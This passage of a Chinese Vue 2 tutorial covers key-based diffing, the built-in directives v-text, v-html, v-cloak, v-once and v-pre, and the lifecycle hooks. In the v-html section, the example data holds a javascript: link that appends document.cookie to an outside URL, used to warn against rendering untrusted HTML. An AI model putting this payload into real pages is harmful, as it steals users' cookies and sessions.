3. 新數據渲染
新數據和虛擬 DOM:
新數據中插入了一個新對象(老劉
),并刪除了舊數據中的一個對象(王五
)。
新虛擬 DOM 中,老劉
的 key
是 0,而舊數據中的 張三
的 key
變成了 1,李四
的 key
變成了 2,王五
的 key
變成了 3。
虛擬 DOM 對比:
Vue 會將新虛擬 DOM 和舊虛擬 DOM 進行對比。
由于 key
是索引,Vue 認為索引相同的位置可以復用 DOM 元素。
例如,新虛擬 DOM 中 老劉
的 key
是 0,舊虛擬 DOM 中 張三
的 key
也是 0,那么會繼續比較比較后面的數據。先比較第一部分,發現老劉和張三 不一樣 然后老劉就會新渲染成DOM。然后比較第二個部分input攔。發現input的虛擬的DOM是一樣的,那么就會復用真實的DOM里面的input攔,所以帶有張三的input攔被復用在了老劉后面。之后的數據就以此類推,所以出現input錯位。
使用id的圖解
這個和上面的思路是一樣的,但是因為這里的key是正確的,所以可以被正確渲染和復用
內置指令
之前提及過的指令 總結一下:
v-bind ?: 單向綁定解析表達式, 可簡寫為 :xxx
v-model : 雙向數據綁定
v-for ? : 遍歷數組/對象/字符串
v-on ? ?: 綁定事件監聽, 可簡寫為@
v-if ? ? ? ?: 條件渲染(動態控制節點是否存存在)
v-else ?: 條件渲染(動態控制節點是否存存在)
v-show ?: 條件渲染 (動態控制節點是否展示)
v-text
1.作用:向其所在的節點中渲染文本內容。
2.與插值語法的區別:v-text會替換掉節點中的內容,{{xx}}則不會。
3.不支持結構的解析
實例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-text指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><div>你好,{{name}}</div><div v-text="name"></div><div v-text="str"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊!</h3>'}})</script>
</html>
v-html
1.作用:向指定節點中渲染包含html結構的內容。
2.與插值語法的區別:
????????(1).v-html會替換掉節點中所有的內容,{{xx}}則不會。
????????(2).v-html可以識別html結構。
3.嚴重注意:v-html有安全性問題!!!!
????????(1).在網站上動態渲染任意HTML是非常危險的,容易導致XSS攻擊。
????????(2).一定要在可信的內容上使用v-html,永不要用在用戶提交的內容上!
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><div>你好,{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊!</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的資源了,快來!</a>',}})</script>
</html>
v-cloak
v-cloak指令(沒有值):
1.本質是一個特殊屬性,Vue實例創建完畢并接管容器后,會刪掉v-cloak屬性。
2.使用css配合v-cloak可以解決網速慢時頁面展示出{{xxx}}的問題。
實例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-cloak指令</title><style>[v-cloak]{display:none;}</style><!-- 引入Vue --></head><body><!-- 準備好一個容器--><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script></body><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el:'#root',data:{name:'尚硅谷'}})</script>
</html>
v-once
1.v-once所在節點在初次動態渲染后,就視為靜態內容了。
2.以后數據的改變不會引起v-once所在結構的更新,可以用于優化性能。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-once指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>當前的n值是:{{n}}</h2><button @click="n++">點我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el:'#root',data:{n:1}})</script>
</html>
v-pre
1.跳過其所在節點的編譯過程。
2.可利用它跳過:沒有使用指令語法、沒有使用插值語法的節點,會加快編譯。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-pre指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><h2 v-pre>Vue其實很簡單</h2><h2 >當前的n值是:{{n}}</h2><button @click="n++">點我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el:'#root',data:{n:1}})</script>
</html>
生命周期
引出生命周期
生命周期:
1.又名:生命周期回調函數、生命周期函數、生命周期鉤子。
2.是什么:Vue在關鍵時刻幫我們調用的一些特殊名稱的函數。
3.生命周期函數的名字不可更改,但函數的具體內容是程序員根據需求編寫的。
4.生命周期函數中的this指向是vm 或 組件實例對象。
需求:
我現在想要實現一個文字,我要他周而復始地,從不透明逐漸變到透明,然后又變回不透明再到透明。
代碼實現:
將定時器掛載到mounted鉤子上
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>引出生命周期</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><h2 v-if="a">你好啊</h2><h2 :style="{opacity}">歡迎學習Vue</h2></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el:'#root',data:{a:false,opacity:1},methods: {},//Vue完成模板的解析并把初始的真實DOM元素放入頁面后(掛載完畢)調用mountedmounted(){console.log('mounted',this)setInterval(() => {this.opacity -= 0.01if(this.opacity <= 0) this.opacity = 1},16)},})</script>
</html>
完整的生命周期
1. 初始化階段
-
new Vue()
:-
創建一個新的 Vue 實例。
-
初始化生命周期、事件和數據代理。
-
-
beforeCreate
:-
在這個階段,Vue 實例已經創建,但數據代理和事件還沒有開始。
-
此時無法通過
vm
訪問data
中的數據或methods
中的方法。
-
-
created
:-
數據監測和數據代理開始。
-
此時可以通過
vm
訪問data
中的數據和methods
中的方法。 -
適合進行數據初始化和異步數據請求。
-
2. 掛載階段
-
模板編譯:
-
如果有
template
選項,Vue 會編譯模板生成渲染函數。 -
如果沒有
template
,Vue 會使用el
的outerHTML
作為模板。 -
如果使用構建步驟(如單文件組件),模板編譯是在構建時提前完成的。
-
-
beforeMount
:-
頁面顯示的是未經 Vue 編譯的 DOM 結構。
-
對 DOM 的操作不會生效。
-
-
虛擬 DOM:
-
在掛載階段,虛擬 DOM 被轉換為真實 DOM 并插入頁面。
-
-
mounted
:-
頁面顯示的是經過 Vue 編譯的 DOM。
-
對 DOM 的操作生效。
-
適合進行 DOM 操作、綁定事件、發送網絡請求等初始化操作。
-
3. 更新階段
-
數據變化:
-
當數據發生變化時,Vue 會觸發更新。
-
-
beforeUpdate
:-
數據是新的,但頁面是舊的。
-
頁面尚未與數據保持同步。
-
-
虛擬 DOM 重新渲染和 patch:
-
根據新數據,生成新的虛擬 DOM。
-
隨后與舊的虛擬 DOM 進行比較,最終完成頁面更新,即完成了 Model -> View 的更新。
-
-
updated
:-
數據是新的,頁面也是新的。
-
頁面和數據保持同步。
-
適合在 DOM 更新后執行操作。
-
4. 銷毀階段
-
beforeDestroy
:-
Vue 實例的所有功能(
data
、methods
等)仍可用。 -
馬上要執行銷毀過程。
-
適合進行清理操作,如關閉定時器、取消訂閱、解綁事件等。
-
-
destroyed
:-
Vue 實例被銷毀,所有綁定和事件監聽器被移除。
-
實例不再可用。
-